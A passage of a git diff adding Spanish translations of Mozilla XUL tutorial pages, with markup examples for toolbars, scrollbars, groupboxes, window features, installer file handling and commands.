+<p>Una barra de herramientas normalmente se sitúa en la parte superior de la ventana y contiene un número de botones que realizan acciones cotidianas. XUL ofrece la posibilidad de crear barra de herramientas.</p>
+<h3 id="A.C3.B1adiendo_una_barra_de_herramientas" name="A.C3.B1adiendo_una_barra_de_herramientas">Añadiendo una barra de herramientas</h3>
+<p>Como otros elementos, las barras de herramientas de XUL son del tipo caja. Generalmente mostrará una fila de botones, pero cualquier otro elemento puede colocarse en una barra de herramientas. Por ejemplo, el navegador Mozilla contiene una caja de texto para mostrar e introducir las direcciones URL.</p>
+<p>Las barras de herramientas pueden ser colocadas en cualquier parte de la ventana, ya sea horizontalmente o verticalmente. Por supuesto que normalmente no pondremos una caja de texto en una barra de herramientas vertical. En verdad, como las barras de herramientas no son más que cajas, pueden colocarse en cualquier sitio que deseémos, incluso en el centro de la ventana. Sin embargo, es típico que las barras de herramientas se sitúen en la parte superior de la venta, colocandose una debajo de otra si hubíera más de una, agrupandose en un elemento llamadao toolbox.</p>
+<p>En la parte izquierda de una barra de herramientas se encuentra un pequeño notch que al hacer clic en él contraerá la barra de herramientas, de forma que solo el notch quede visible. Este notch se denomina grippy. Cuando tenemos varias barras de herramientas agrupadas dentro de un elemento toolbox, los grippes se colocarán en una misma fila. Esto compacta el espacio usado de manera eficiente. Para las barras de herramientas verticales, los grippies se sitúan en la parte superior. Un usuario puede contraer las barras de herramientas para obtener más espacio en la ventana principal.</p>
+<p>He aquí un ejemplo de una simple barra de herramientas.</p>
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+<pre>&lt;toolbox&gt;
+  &lt;toolbar id="nav-herramientas"&gt;
+    &lt;toolbarbutton label="Atrás" /&gt;
+    &lt;toolbarbutton label="Adelante" /&gt;
+  &lt;/toolbar&gt;
+&lt;/toolbox&gt;
+</pre>
+<p>Esto creará una barra de herramientas con dos botones, un botón Atrás y otro Adelante. La barra de tareas ha sido definida dentro de un elemento toolbox. Todo esto ha requerido cuatro nuevos elementos, que son descritos aquí:</p>
+<pre class="eval">   * toolbox
+</pre>
+<p>Una caja que contiene barras de herramientas</p>
+<pre class="eval">   * toolbar
+</pre>
+<p>Una barra de herramientas que contiene elementos como botones. Las barras de herramientas pueden minimizarse usando el grippy de su borde izquierdo o superior.</p>
+<pre class="eval">   * toolbarbutton
+</pre>
+<p>Un botón para la barra de herramientas, el cual tiene las mismas características que un botón normal pero que normalmente se muestra de forma distinta.</p>
+<pre class="eval">   * toolbargrippy
+</pre>
+<p>Este elemento crea el notch que puede usarse para contraer y expandir la barra de herramientas. No necesitamos definirla manualmente, ya que se añade automaticamente.</p>
+<p>El elemento toolbar es el principal y responsable de crear la barra de herramientas. Dentro de él se colocan los elementos que debe mostrar la barra de herramientas, normalmente botones aunque puede ser cualquier otro elemento. La barra de herramientas debería tener un atributo id o el grippy no será capaz de contraer o expandir la barra de herramientas correctamente.</p>
+<p>En el ejemplo anterior solo creamos una barra de herramientas. Podemos crear más simplemente añadiendo más elementos toolbar después del primero.</p>
+<p>El elemento toolbox no es más que un contenedor para las barras de herramientas. En algunas aplicaciones, veremos varias barras de herramientas en la parte superior de la venta. Podemos ponerlas todas juntas dentro de un toolbox. Sin embargo no es obligatorio poner las barras de herramientas dentro de un toolbox.</p>
+<p>Los grippies son creados usando otro elemento, toolbargrippy. No tiene sentido usarlo en ningún otro sitio que no sea una barra de herramientas, ya que esta especialmente diseñador para contraer y expandir barras de herramientas. Sin embargo si es posible aplicarle un estilo diferente. Incluso puedes ocultarlo si incluimos el atributo grippyhidden al elemento toolbar, poniendo su valor a true.</p>
+<h3 id="Tres_barras_de_herramientas_agrupadas_en_un_toolbox" name="Tres_barras_de_herramientas_agrupadas_en_un_toolbox">Tres barras de herramientas agrupadas en un toolbox</h3>
+<p>Las mismas barras pero con dos de ellas contraidas.</p>
+<p><br>
+ Ahora añadiremos una barra de herramientas a nuestro dialogo. Realmente no lo necesitamos pero crearemos una de todas formas para demostrar su uso. Se definirán dos botones, los tipicos de Abrir y Guardar. En teoría deberían posibilitar que el usuario puediera guardar los resultados de una búsqueda y abrirlos posteriormente.</p>
+<pre>&lt;vbox flex="1"&gt;
+    &lt;toolbox&gt;
+        &lt;toolbar id="findfiles-toolbar"&gt;
+            &lt;toolbarbutton id="abrirbusqueda" label="Abrir" /&gt;
+            &lt;toolbarbutton id="guardarbusqueda" label="Guardar" /&gt;
+        &lt;/toolbar&gt;
+    &lt;/toolbox&gt;
+
+    &lt;tabbox&gt;
+</pre>
+<p>Hemos añadido una barra de herramientas con dos botones. En la imagen, vemos que aparecen alineados horizontalmente en la parte superior. El grippy tambíen aparece en el borde izquierdo. Fijemonos en que hemos colocado la barra de herramientas en la caja vertical, justo encima del elemento tabbox. Lo hemos hecho así porque necesitamos la alineación vertical de la caja para que la barra de herramientas aparezca arriba del todo.</p>
+<p><br>
+ Siguiente, veremos como añadir paneles de contenido.</p>
+<p>NdT: el elemento ‘toolbargrippy’ no es soportado por Firefox, dada la popularidad de este navegador creo que habría que poner algun comentario al respecto. Ver la ref. de toolbargrippy</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/barras_de_desplazamiento/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/barras_de_desplazamiento/index.html
new file mode 100644
index 0000000000..74325c678a
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/barras_de_desplazamiento/index.html
@@ -0,0 +1,74 @@
+---
+title: Barras de desplazamiento
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Barras_de_desplazamiento
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - para_revisar
+translation_of: Archive/Mozilla/XUL/Tutorial/Scroll_Bars
+---
+<p>Ahora, aprenderemos a añadir barras de desplazamiento en una ventana.</p>
+
+<h3 id="A.C3.B1adiendo_barras_de_desplazamiento" name="A.C3.B1adiendo_barras_de_desplazamiento">Añadir barras de desplazamiento</h3>
+
+<p>Una barra de desplazamiento sirve para que un usuario pueda moverse en un documento grande. También puedes usarla cuando tienes que buscar un valor que está dentro de un cierto rango. Las barras de desplazamiento pueden crearse de varias formas. En XUL, puede crearse una usando la etiqueta <code><code><a href="/es/docs/Mozilla/Tech/XUL/scrollbar" title="scrollbar">scrollbar</a></code></code>. Algunos elementos, como cajas de texto, también añadirán barras de desplazamiento cuando el contenido de dentro es demasiado grande</p>
+
+<p>En esta sección, hablaremos de la creación de una barra de desplazamiento independiente. El usuario pondrá el valor ajustando la barra de desplazamiento. Probablemente no usarás esto a menudo. Una barra de desplazamiento está compuesta de varias partes: el deslizador, que es la parte principal de la barra de desplazamiento con la caja ajustable, y los dos botones de flecha. Una barra de desplazamiento crea todos estos elementos automáticamente.</p>
+
+<p><img alt="Imagen:BarraDesplazamiento.jpg" class="internal" src="/@api/deki/files/1107/=BarraDesplazamiento.jpg"></p>
+
+<p>La sintaxis de una barra de desplazamiento es la siguiente:</p>
+
+<pre>&lt;scrollbar
+    id="barrahori"
+    orient="horizontal"
+    curpos="50"
+    maxpos="400"
+    increment="2"
+    pageincrement="10"/&gt;
+</pre>
+
+<p>Los atributos son los siguientes:</p>
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> <code>id</code></dt>
+ <dd>El identificador único de la barra de desplazamiento</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-orient"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code> <code>orient</code></dt>
+ <dd>Especifica la dirección de la barra de desplazamiento. Por defecto es <code>horizontal</code>, que crea una barra de desplazamiento que se extiende de izquierda a derecha. También puedes especificar <code>vertical</code> que crea una barra de desplazamiento que se extiende de arriba abajo.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-curpos"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/curpos">curpos</a></code> <code>curpos</code></dt>
+ <dd>Indica la posición actual de la barra de desplazamiento (la caja que puedes deslizar hacia adelante y hacia atrás.) El rango de valores se extiende de 0 al valor de maxpos. Este valor no es necesario. El valor por defecto es 0.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-maxpos"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/maxpos">maxpos</a></code> <code>maxpos</code></dt>
+ <dd>Indica la posición máxima de la barra de desplazamiento. Es un valor numérico. El valor por defecto es 100.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-increment"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/increment">increment</a></code> <code>increment</code></dt>
+ <dd>Este valor especifica cuánto cambia el valor de <code>curpos</code> cuando el usuario pulsa sobre una de las flechas de barra de desplazamiento. El valor por defecto es 1.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-pageincrement"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/pageincrement">pageincrement</a></code> <code>pageincrement</code></dt>
+ <dd>Este valor especifica cuánto cambia el valor <code>curpos</code> cuando el usuario hace clic sobre las páginas con la barra de desplazamiento, que puede hacerse pulsando sobre la bandeja entre la caja y las flechas. El valor por defecto es 10.</dd>
+</dl>
+
+<p>El ejemplo dado en la sintaxis anterior creará una barra de desplazamiento que puede extenderse de un valor de 0 a 100. El valor 100 podría ser el número de líneas en una lista, pero podría ser lo que quieras. El valor inicial en este ejemplo es 20. Al hacer clic sobre una de las flechas de barra de desplazamiento, el valor se cambiará por 1 encima de o abajo. Pero paginando por la barra de desplazamiento, el valor se cambiará por 10.</p>
+
+<p>Cuando el usuario haga clic sobre las flechas de la barra de desplazamiento, se moverá la cantidad especificada por el valor <code>increment</code>. El aumento del valor de este atributo hará que la barra de desplazamiento se mueva más lejos con cada clic. La posición más a la izquierda o superior de la barra de desplazamiento tiene el valor 0 y la posición más a la derecha o inferior de la barra de desplazamiento tiene el valor dado por <code>maxpos</code>.</p>
+
+<p>Ajustando los valores de la barra de desplazamiento, puedes tener el thumb posicionado donde quieras y el cambio cuando el usuario haga clic en las flechas tal y como desees.</p>
+
+<p>A continuación, aprenderemos a <a href="/es/Tutorial_de_XUL/Barra_de_Herramientas" title="es/Tutorial_de_XUL/Barra_de_Herramientas">crear barras de herramientas</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Divisores" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Barra_de_Herramientas">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/cajas_de_grupo/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/cajas_de_grupo/index.html
new file mode 100644
index 0000000000..d3607f1260
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/cajas_de_grupo/index.html
@@ -0,0 +1,61 @@
+---
+title: Cajas de grupo
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Cajas_de_grupo
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Groupboxes
+---
+<p>Esta sección describe un método para incluir elementos dentro de grupos.</p>
+<h3 id="Cajas_de_grupo" name="Cajas_de_grupo">Cajas de grupo</h3>
+<p>HTML provee un elemento, <code>fieldset</code>, que puede ser usado para agrupar otros elementos. Generalmente un borde es trazado alrededor de los elementos para demostrar que están relacionados entre sí. Un ejemplo sería un grupo de casillas de verificación. XUL provee un elemento equivalente, <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_groupbox.html">groupbox</a></code> (caja de grupo), que se utiliza para propósitos similares.</p>
+<p>Como su nombre implica, la <code>groupbox</code> es un tipo de caja, esto significa que los elementos dentro de ella se alinean de acuerdo a las reglas de las cajas. Hay dos diferencias entre las cajas de grupo y las cajas regulares:</p>
+<ol>
+ <li>Un borde biselado es dibujado alrededor de la caja de grupo de manera predeterminada. Puede cambiarse este comportamiento corrigiendo el estilo CSS.</li>
+ <li>La caja de grupo permite un encabezado que es colocado a lo largo del borde superior.</li>
+</ol>
+<p>Como las cajas de grupo son un tipo de caja pueden utilizarse los mismos atributos, como <code>orient</code> y <code>flex</code>. Puede insertarse cualquier elemento dentro de la caja, pero normalmente estos elementos estarán relacionados de alguna manera.</p>
+<p>La etiqueta en el borde superior puede ser creada utilizando el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_caption.html">caption</a></code>, esto funciona de manera similar al elemento HTML <code>legend</code>. Un simple elemento caption puesto como el primer hijo será suficiente.</p>
+<p>El ejemplo siguiente muestra una simple caja de grupo:</p>
+<h4 id="Ejemplo" name="Ejemplo">Ejemplo</h4>
+<pre>&lt;groupbox&gt;
+  &lt;caption label="Respuesta"/&gt;
+  &lt;description value="Banana"/&gt;
+  &lt;description value="Mandarina"/&gt;
+  &lt;description value="Casilla telefónica"/&gt;
+  &lt;description value="Kiwi"/&gt;
+&lt;/groupbox&gt;
+</pre>
+<p><img alt="Image:titledbox1.jpg"></p>
+<p>Esto causará que se vean cuatro segmentos de texto rodeados por una caja con la etiqueta “Respuesta�?. Nótese que la caja de grupo posee orientación vertical por omisión, lo que es necesario para apilar los elementos en una sola columna.</p>
+<p>También pueden agregarse elementos hijos dentro del elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_caption.html">caption</a></code> para crear un encabezado más complejo. Por ejemplo, el panel de preferencias para tipos de letra de Mozilla utiliza un menú desplegable como encabezado. A pesar de que se puede hacer uso de cualquier contenido, usualmente se usa una casilla de verificación o un menú desplegable.</p>
+<h4 id="Ejemplo_2" name="Ejemplo_2">Ejemplo</h4>
+<pre>&lt;groupbox flex="1"&gt;
+  &lt;caption&gt;
+    &lt;checkbox label="Habilitar copias de seguridad"/&gt;
+  &lt;/caption&gt;
+  &lt;hbox&gt;
+    &lt;label control="dir" value="Directorio:"/&gt;
+    &lt;textbox id="dir" flex="1"/&gt;
+  &lt;/hbox&gt;
+  &lt;checkbox label="Comprimir archivos almacenados"/&gt;
+&lt;/groupbox&gt;
+</pre>
+<p>En este ejemplo se ha utilizado como encabezado una casilla de verificación. Podríamos usar un guión para habilitar o deshabilitar los contenidos de la caja de grupo cuando la casilla de verificación sea marcada y desmarcada. La caja de grupo contiene una caja horizontal con una etiqueta y una caja de texto. Tanto la caja de texto como la caja de grupo fueron hechas flexibles así la caja de texto se expandirá cuando la ventana se expanda. La casilla de verificación adicional aparece debajo de la caja de texto por la orientación vertical de la caja de grupo. En la siguiente sección añadiremos una caja de grupo a la ventana de diálogo “Buscar archivos�?.</p>
+<h3 id="Grupos_radiales" name="Grupos_radiales">Grupos radiales</h3>
+<p>Puede usarse el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_radiogroup.html">radiogroup</a></code> (grupo radial) para agrupar varios elementos radio (botón radial). El <code>radiogroup</code> es un tipo de caja. Puede agregarse cualquier elemento al mismo, y aparte de su manejo especial de botones <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_radio.html">radio</a></code> estos funcionan como cualquier otra caja.</p>
+<p>Todos los botones radiales insertados en el grupo radial serán agrupados entre sí, aún si se encuentran dentro de cajas anidadas. Esto podría aprovecharse para agregar elementos extras dentro de la estructura, como en el siguiente ejemplo:</p>
+<h4 id="Ejemplo_3" name="Ejemplo_3">Ejemplo</h4>
+<pre>&lt;radiogroup&gt;
+  &lt;radio id="no" value="no" label="Sin número"/&gt;
+  &lt;radio id="aleatorio" value="aleatorio" label="Número aleatorio"/&gt;
+  &lt;hbox&gt;
+    &lt;radio id="especificado" value="especificado" label="Especifique un número:"/&gt;
+    &lt;textbox id="numeroespecifico"/&gt;
+  &lt;/hbox&gt;
+&lt;/radiogroup&gt;
+</pre>
+<p>Obsérvese que el elemento <code>radiogroup</code>no dibuja un borde a su alrededor, si se desearan bordes y encabezado deberá ser colocado dentro de una <code>groupbox</code> (caja de grupo).</p>
+<p>A continuación utilizaremos lo aprendido hasta el momento y añadiremos algunos elementos adicionales a la ventana de diálogo “Buscar archivos�?.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/características_adicionales_de_la_instalación/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/características_adicionales_de_la_instalación/index.html
new file mode 100644
index 0000000000..12cde3c81f
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/características_adicionales_de_la_instalación/index.html
@@ -0,0 +1,39 @@
+---
+title: Características adicionales de la instalación
+slug: >-
+  Archive/Mozilla/XUL/Tutorial_de_XUL/Características_adicionales_de_la_instalación
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Additional_Install_Features
+---
+<p> </p>
+<p>Esta sección describe algo más específico sobre instaladores.</p>
+<h3 id="Manipulaci.C3.B3n_De_Archivo_De_Instalaci.C3.B3n" name="Manipulaci.C3.B3n_De_Archivo_De_Instalaci.C3.B3n">Manipulación De Archivo De Instalación</h3>
+<p>La sección anterior describió un instalador básico. Usted puede desear realizar un proceso más elaborado durante la instalación. Por ejemplo, usted puede desear instalar un paquete solamente cuando se cumplan ciertas condiciones, por ejemplo tener una librería particular instalada.</p>
+<p>Además del objeto <code>Install</code>, un objeto <code>File</code> también está disponible para el script de instalación. Este objeto proporciona algunas funciones que se puedan utilizar para examinar y para modificar archivos en disco. Usted puede utilizarlo para mover, copiar o borrar archivos antes o después de que los archivos sean instalados. Por ejemplo, usted puede querer hacer primero una copia de respaldo de algunos archivos.</p>
+<p>El código siguiente hará una copia del archivo "/bin/grep" y la pondrá en el directorio "/main".</p>
+<pre>var binFolder=getFolder("file:///","bin");
+var grep=getFolder(binFolder,"grep");
+
+var mainFolder=getFolder("file:///","main");
+
+File.copy(grep,mainFolder);
+</pre>
+<p><br>
+ La primera línea recuperará una referencia al directorio /bin. El texto '<a class="external" rel="freelink">file:///</a>' es una secuencia especial que significa la raíz del sistema de archivos. De allí, conseguimos el archivo 'grep' que esta en el interior del directorio 'bin'. Si no existe este archivo, un error ocurrirá durante la instalación. Después, conseguimos la carpeta 'main', otra vez desde la raíz del sistema de archivos. Finalmente, ejecutamos la función File.copy que copia el archivo desde el fuente al destino.</p>
+<p>También existen <a class="external" href="http://www.xulplanet.com/references/elemref/ref_File.html">Funciones</a> para mover, renombrar y ejecutar archivos. Así, usted puede mover los archivos que puedan estar en conflicto con su paquete.</p>
+<h3 id="Manipulaci.C3.B3n_De_Errores" name="Manipulaci.C3.B3n_De_Errores">Manipulación De Errores</h3>
+<p>Usted probablemente deseará manejar de mejor forma los errores. Esto ocurrirá si un archivo o un directorio no puede ser encontrado, hay poco espacio en disco o por otras razones.</p>
+<p>Usted puede utilizar la función getLastError para determinar si ocurrió un error. Si retornó SUCCESS, no ocurrió ningún error. Si no, el número será un código de error que indica el tipo de error que ocurrió. Usted puede llamar esta función en cualquier punto durante el script de instalación para determinar si un error ocurrió durante la operación pasada.</p>
+<p>Si ocurre un error, usted deseará probablemente abortar la instalación. Usted puede también exhibir un mensaje de error al usuario. Por ejemplo, usted puede ser que ponga esto como la sección pasada de su script:</p>
+<pre>if (getLastError() == SUCCESS){
+  performInstall();
+}
+else {
+  cancelInstall();
+}
+</pre>
+<p>Los códigos de error que puede retornar getLastError se enumeran en el archivo fuente de Mozilla <code><a class="external" href="http://lxr.mozilla.org/mozilla/source/xpinstall/src/nsInstall.h">nsInstall.h</a></code>. Durante la instalación, se crea un archivo log que contiene las operaciones que se realizan. También mostrará cualquier error que ocurra. El archivo log se puede encontrar en el archivo 'install.log' en el directorio de instalación de Mozilla. Un bloque de texto será agregado a este archivo por cada instalación que ocurra.</p>
+<p>La función logComment se puede utilizar para escribir una cadena de caracteres al archivo log. Tiene un parámetro, el texto a escribir.</p>
+<p>El Tutorial XUL se acabo. :D</p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/características_de_una_ventana/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/características_de_una_ventana/index.html
new file mode 100644
index 0000000000..57b8fff890
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/características_de_una_ventana/index.html
@@ -0,0 +1,106 @@
+---
+title: Características de una ventana
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Características_de_una_ventana
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Features_of_a_Window
+---
+<p>Ya hemos visto algunas de las características de las ventanas. En esta sección veremos algunas más.</p>
+
+<h3 id="Creando_otra_ventana" name="Creando_otra_ventana">Creando otra ventana</h3>
+
+<p>Puedes crear otra ventana para tu aplicación de la misma manera como lo harías para crear la primera. Solamente crea un segundo archivo XUL con el código de la ventana en él. Como en HTML, puedes usar la función <code><a href="es/DOM/window.open">window.open()</a></code> para abrir la segunda ventana. Esta función devolverá una referencia de la nueva ventana abierta. Puedes usar esta referencia para llamar funciones de la otra ventana.</p>
+
+<p>La función open toma tres argumentos. El primero es la url del archivo que quieres abrir. El segundo es un nombre interno para la nueva ventana. El tercero es una lista de indicadores. El flag ‘chrome’ es importante para abrir la ventana como un archivo chrome. Si no agregas el flag ‘chrome’, el archivo se abrirá como el contenido de una ventana del navegador.</p>
+
+<p>Por ejemplo:</p>
+
+<pre>var myWin =
+window.open("chrome://findfile/content/findfile.xul","findfile","chrome");
+</pre>
+
+<h3 id="Especificando_el_ancho_y_alto" name="Especificando_el_ancho_y_alto">Especificando el ancho y alto</h3>
+
+<p>Deben haber notado que siempre que algunos elementos fueron agregados a una ventana, el ancho de la ventana se expande para hacer caber los nuevos elementos. En realidad la ventana es solo una caja (box) que es flexible y con orientación vertical por defecto. También puedes especificar el ancho y alto directamente en la etiqueta <code><a href="es/XUL/Elementos/window">window</a>. Esto causa que la ventana se muestre con un tamaño específico. Si no se especifica, el tamaño se determinará por los elementos que contiene. </code></p>
+
+<pre>&lt;window
+id="findfile-window"
+title="Find Files"
+width="400"
+height="450"
+
+xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+</pre>
+
+<p>En este ejemplo, la ventana se abrirá con un ancho de 400 píxeles y un alto de 450 píxeles. Incluso si no contiene suficientes elementos como para abarcar este tamaño, de todas maneras la ventana se abrirá con este tamaño y quedará espacio en blanco en el área no ocupada. Si contiene demasiados elementos, la ventana no será lo suficientemente grande como para contener los elementos. El usuario deberá ajustar el tamaño del dialogo. Cuando especificas el alto y ancho de una ventana debes tener cuidado para que la ventana no resulte demasiado chica o demasiado grande. Nota que debes especificar ambos, el ancho y alto. Si especificas solo uno, el otro se tomará como 0. Para que la ventana ajuste automáticamente su tamaño, no especifiques ni el ancho ni el alto. El ancho y alto especifican solo el tamaño inicial de la ventana. El usuario podrá cambiar el tamaño de la ventana, asumiendo que la ventana sea dimensionable (‘resizable’) (ver más abajo).</p>
+
+<h3 id="Otras_caracter.C3.ADsticas_de_las_ventanas" name="Otras_caracter.C3.ADsticas_de_las_ventanas">Otras características de las ventanas</h3>
+
+<p>Los indicadores de abajo se pueden pasar como parte del tercer argumento a la función window.open. Tu sistema operativo puede que no los soporte todos. También puedes usar cualquiera de los indicadores ya existentes, los cuales deberías encontrar en una referencia de JaveScript. Puedes desactivar alguna característica especificándolo con ‘no’, por ejemplo ‘dialog=no’.</p>
+
+<dl>
+ <dt>alwaysLowered </dt>
+ <dd>La ventana aparecerá siempre debajo de otras ventanas.</dd>
+</dl>
+
+<dl>
+ <dt>alwaysRaised </dt>
+ <dd>La ventana aparecerá siempre arriba de otras ventanas.</dd>
+</dl>
+
+<dl>
+ <dt>centerscreen </dt>
+ <dd>La ventana al abrirse se centrará.</dd>
+</dl>
+
+<dl>
+ <dt>dependent </dt>
+ <dd>La ventana aparecerá siempre en relación a la ventana que la abrió. Si la ventana que abrió la nueva ventana se mueve, la nueva ventana se mueve junto a ella.</dd>
+</dl>
+
+<dl>
+ <dt>dialog </dt>
+ <dd>La ventana es un dialogo, el cual puede aparecer diferentemente.</dd>
+</dl>
+
+<dl>
+ <dt>modal </dt>
+ <dd>El dialogo es modal. No se podrá interactuar con la ventana que abrió el dialogo hasta que este se cierre.</dd>
+</dl>
+
+<dl>
+ <dt>resizable </dt>
+ <dd>El usuario puede cambiar el tamaño de la ventana.</dd>
+</dl>
+
+<h3 id="Depurando_una_ventana" name="Depurando_una_ventana">Depurando una ventana</h3>
+
+<p>Otra característica útil solo durante el desarrollo es activar el modo de depuración de una ventana. Para hacerlo, agrega un atributo debug con valor ‘true’ a la ventana. Esto hará que la ventana muestre los ‘box’ y los ‘spacers’ de forma que puedas ver lo que está ocurriendo. Este ejemplo muestra como usarlo.</p>
+
+<pre>&lt;window
+id="findfile-window"
+title="Find Files"
+debug="true"
+xmlns:html="http://www.w3.org/1999/xhtml"
+xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+</pre>
+
+<p>La imagen de abajo muestra el efecto cuando se aplica a una ventana sencilla.</p>
+
+<p> </p>
+
+<ul>
+ <li><a class="external" href="http://xulplanet.com/tutorials/xultu/images/featwin1.jpg">Cajas azules indican cajas horizontales. </a></li>
+ <li><a class="external" href="http://xulplanet.com/tutorials/xultu/images/featwin1.jpg">Cajas rojas indican cajas verticales. Puedes ver la ventana es una caja vertical. </a></li>
+ <li><a class="external" href="http://xulplanet.com/tutorials/xultu/images/featwin1.jpg">Zigzags indican los elementos flexibles. En este caso, el espaciador es flexible entonces un zigzag aparece sobre él. </a></li>
+ <li><a class="external" href="http://xulplanet.com/tutorials/xultu/images/featwin1.jpg">Líneas indican donde están los elementos inflexibles, en este caso el texto, el ’input field’ y los botones. </a></li>
+ <li><a class="external" href="http://xulplanet.com/tutorials/xultu/images/featwin1.jpg">Los cuadrados blancos indican los márgenes de los elementos. </a></li>
+</ul>
+
+<p><span class="external">En la imagen, puede que notes algunas cajas (boxes) adicionales. Esto es debido a que cada elemento XUL está hecho de un número de cajas (boxes), definidas con XBL. Las puedes ignorar. Puedes especificar el atributo debug en cualquier caja, no solo en la ventana (window). </span></p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Ejemplo_de_XBL" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Creando_Diálogos">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/comandos/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/comandos/index.html
new file mode 100644
index 0000000000..561baa97ec
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/comandos/index.html
@@ -0,0 +1,171 @@
+---
+title: Comandos
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Comandos
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Commands
+---
+<p> </p>
+
+<p>Un comando es una operación o función que se puede invocar.</p>
+
+<h3 id="El_elemento_comando" name="El_elemento_comando">El elemento comando</h3>
+
+<p>El elemento <code><a href="/es/XUL/Elementos#command" title="es/XUL/Elementos#command">command</a></code> se usa para crear comandos los cuales pueden ser usados para llevar a cabo operaciones. Usted no necesitaría usar comandos, ya que usted puede invocar un script para manejar las cosas. Sin embargo, un comando tiene la ventaja de que puede ser deshabilitado automáticamente cuando se necesite y puede ser invocado externamente sin necesidad de saber de los detalles de su implementación. Los comandos son una manera adecuada de abstraer operaciones del código. Además los comandos son muy útiles para aplicaciones extensas.</p>
+
+<p>Para empezar, con el fin de implementar los comandos del menú portapapeles, cortar, copiar y pegar usted puede usar comandos. Si no usara comandos, usted necesitaría averiguar cual campo tiene el foco (focus), luego verificar para asegurarse que la operación es la adecuada para ese elemento. Además, los comandos del menú necesitarían ser habilitados y deshabilitados dependiendo de si el elemento enfocado haya seleccionado texto o no, y para las operaciones de pegar (paste), si hay algo adecuado en el portapapeles (clipboard) para pegar. Como puede ver, esto se vuelve complicado. Usando comandos, gran parte del trabajo es manejada para usted. Usted puede usar un comando para cualquier operación. Mozilla los usa para casi todos los comandos del menú. Ademas, campos de texto y otros accesorios tienen un número de comandos ya soportados y que usted puede invocar. Usted debería usarlos cuando la operación depende de cual elemento es enfocado.</p>
+
+<p>Un comando es identificado por su atributo <code><a href="/es/XUL/Atributos#id" title="es/XUL/Atributos#id">id</a></code>. Mozilla usa la convención de que el id del comando comience con '<code>cmd_</code>'. Usted probablemente querrá usar el mismo id si un comando está siendo usado, sin embargo para sus comandos propios, usted puede usar cualquier id de comando que desee. Para evitar conflictos, usted puede desear incluir el nombre de la aplicación en el id del comando. Una manera simple de usar comandos es como sigue:</p>
+
+<p> </p>
+
+<h4 id="Ejemplo_un_s.C3.B3lo_comando" name="Ejemplo:_un_s.C3.B3lo_comando">Ejemplo: un sólo comando</h4>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_commands_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_commands_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;command id="cmd_openhelp" oncommand="alert('Ayuda!');"/&gt;
+&lt;button label="Ayuda" command="cmd_openhelp"/&gt;
+</pre>
+
